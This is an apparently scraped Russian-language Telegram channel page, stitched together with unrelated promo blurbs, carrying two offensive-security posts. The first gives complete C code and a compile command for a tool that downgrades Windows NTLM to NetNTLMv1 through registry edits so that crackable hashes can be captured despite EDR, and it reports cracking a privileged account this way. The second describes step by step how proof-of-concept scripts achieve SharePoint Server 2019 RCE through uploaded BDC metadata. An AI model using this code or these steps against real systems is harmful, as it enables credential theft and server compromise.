Подниматор настроения. Видео-мемы с животными. Прикольные видео каждый день. Делись с друзьями ☺️
По рекламе: @lloggann
Last updated 3 days, 20 hours ago
Мой тг @mernes_maxim — по делу
VK.com/Mernes
YT: https://youtube.com/@CryptoBoss
IG: Instagram.com/mernesmaxim
http://Mernes.org
https://twitter.com/maxmernes
Last updated 1 month, 2 weeks ago
Интересные у них отчеты, люблю такое чтиво и всем рекомендую) и атакерам, и защитникам))
Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
```
#include
#include
#include
#include
#include // для функции sleep
void GetRegKey(const char path, const char key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY\_LOCAL\_MACHINE, path, 0, KEY\_READ, &hKey) == ERROR\_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}
void SetRegKey(const char path, const char key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY\_LOCAL\_MACHINE, path, 0, KEY\_WRITE, &hKey) == ERROR\_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG\_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}
void ExtendedNTLMDowngrade(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\CurrentControlSet\Control\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "NtlmMinClientSec", oldValue\_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "RestrictSendingNTLMTraffic", oldValue\_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue\_LMCompatibilityLevel, &oldValue\_NtlmMinClientSec, &oldValue\_RestrictSendingNTLMTraffic);
// Задержка 60 секунд
sleep(60);
NTLMRestore(oldValue\_LMCompatibilityLevel, oldValue\_NtlmMinClientSec, oldValue\_RestrictSendingNTLMTraffic);
return 0;
}
```
Компилируем так
x86\_64\-w64\-mingw32\-gcc \-o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.
RCE через Microsoft SharePoint Server 2019
Microsoft SharePoint — веб-платформа для совместной работы, управления документами и организации совместного доступа к информации в организациях, которая широко используется в корпоративной среде.
Недавно увидел интересные CVE которые затрагивают эту веб-платформу:
CVE-2024-38094
CVE-2024-38024CVE-2024-38023
Чтобы успешно эксплуатировать RCE, необходимо выполнить несколько условий, а именно
1) Сетевой доступ к уязвимому серверу SharePoint.
2) Учетные данные (лог/пасс) для NTLM аутентификации + учетная запись должна иметь права на создание файлов и папок.
Для успешной эксплуатации уязвимости предоставляется три скрипта: poc_filtered.py, poc_specific.py и poc_sub.py. Сейчас коротко разберем суть и как они работают.
Все три скрипта используют NTLM аутентификацию для доступа к API SharePoint и выполняют схожие действия:
Скрипты сначала аутентифицируются на сервере SharePoint с использованием предоставленных учетных данных. Затем они создают необходимые папки на сервере, такие как BusinessDataMetadataCatalog, отправляя POST-запросы к API SharePoint по пути /api/web/Folders.
Далее создается и загружается файл метаданных BDCMetadata.bdcm, содержащий информацию для выполнения уязвимости. В информации находятся команды для выполнения различных методов SharePoint, таких как GetCreatorView, GetDefaultValues, GetFilters и FindFiltered. Эти методы позволяют взаимодействовать с объектами и данными SharePoint, что в конечном итоге позволяет выполнить произвольный код.
То есть после запуска poc_filtered.py создается новая папка BusinessDataMetadataCatalog, после чего скрипт получает и сохраняет значение X-RequestDigest для дальнейших запросов. X-RequestDigest — это токен, подтверждающий, что запрос исходит от подлинного пользователя. Этот токен включается в заголовки последующих запросов для подтверждения их подлинности. Затем скрипт создает и загружает файл метаданных BDCMetadata.bdcm в созданную папку. Этот файл содержит данные и команды, которые будут использоваться для выполнения уязвимости. В конце, скрипт отправляет специально сформированный XML-запрос к API SharePoint для выполнения уязвимых методов, что позволяет выполнить произвольный код на сервере.
Но между скриптами есть небольшая разница, а именно в используемых методах.
1) poc_filtered.py использует метод FindFiltered для взаимодействия с объектами SharePoint.
2) poc_specific.py использует метод FindSpecific для выполнения конкретных задач и команд.
3) poc_sub.py в этом скрипте используется метод Subscribe для подписки на события или действия.
Подниматор настроения. Видео-мемы с животными. Прикольные видео каждый день. Делись с друзьями ☺️
По рекламе: @lloggann
Last updated 3 days, 20 hours ago
Мой тг @mernes_maxim — по делу
VK.com/Mernes
YT: https://youtube.com/@CryptoBoss
IG: Instagram.com/mernesmaxim
http://Mernes.org
https://twitter.com/maxmernes
Last updated 1 month, 2 weeks ago